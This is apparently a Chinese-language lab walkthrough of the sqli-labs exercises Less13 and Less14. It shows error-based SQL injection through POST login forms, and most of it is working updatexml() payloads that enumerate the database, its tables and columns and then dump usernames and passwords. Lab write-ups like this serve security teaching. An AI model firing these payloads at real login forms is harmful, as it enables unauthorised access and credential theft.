目录
二、Less13(POST-Double injection - Single Quotes String-with twist)
三、Less14(POST-Double injection - Single Quotes String-with twist)
推荐:
一、POST(报错)SQL注入基本步骤:
2.1、第一步:判断是否存在SQL漏洞
在输入框中填入一些闭合的符号,看页面是否异常
如: ’ " ') ")
当页面发生错误,则证明闭合有效
有时单双引号闭合后,还要考虑括号个数
2.2、第二步:判断字段数
例如:
”) order by 3#
当回显正确的时候,或无报错,就判断出字段数
2.3、第三步:查询当前数据库
例如:
“) union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#
2.4、第四步:查表名
例如:
”) union select 1,updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#
2.5、第五步:查字段
例如:
“) and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,31),0x7e),1)#
2.6、第六步:查数据
例如:
”) and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31),0x7e),1)#
二、Less13(POST-Double injection - Single Quotes String-with twist)
2.1、简介:(错误-单引号)
请求方法:POST
方法:报错注入
第一步:注入点测试
加上单引号后,发现会返回报错信息,且可以知道是单引号闭合的
可以考虑使用报错注入
发现还有括号
’)#后没有报错了
使用联合查询发现没有返回结果
所以这里考虑使用报错注入
第二步:判断字段数
admin') order by 2#
为2的时候没有报错
字段数为2
第三步:爆数据库
admin') union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#
(这个地方字段数不对也能爆出来数据)
第四步:爆表名
admin') union select 1,updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#
(这里字段数不对,就不能爆出数据)
第五步:爆字段
admin') and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,31),0x7e),1)#
第六步:爆数据
admin') and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31),0x7e),1)#
三、Less14(POST-Double injection - Single Quotes String-with twist)
3.1、简介:(错误-单引号)
请求方法:POST
方法:报错注入
方法同Less13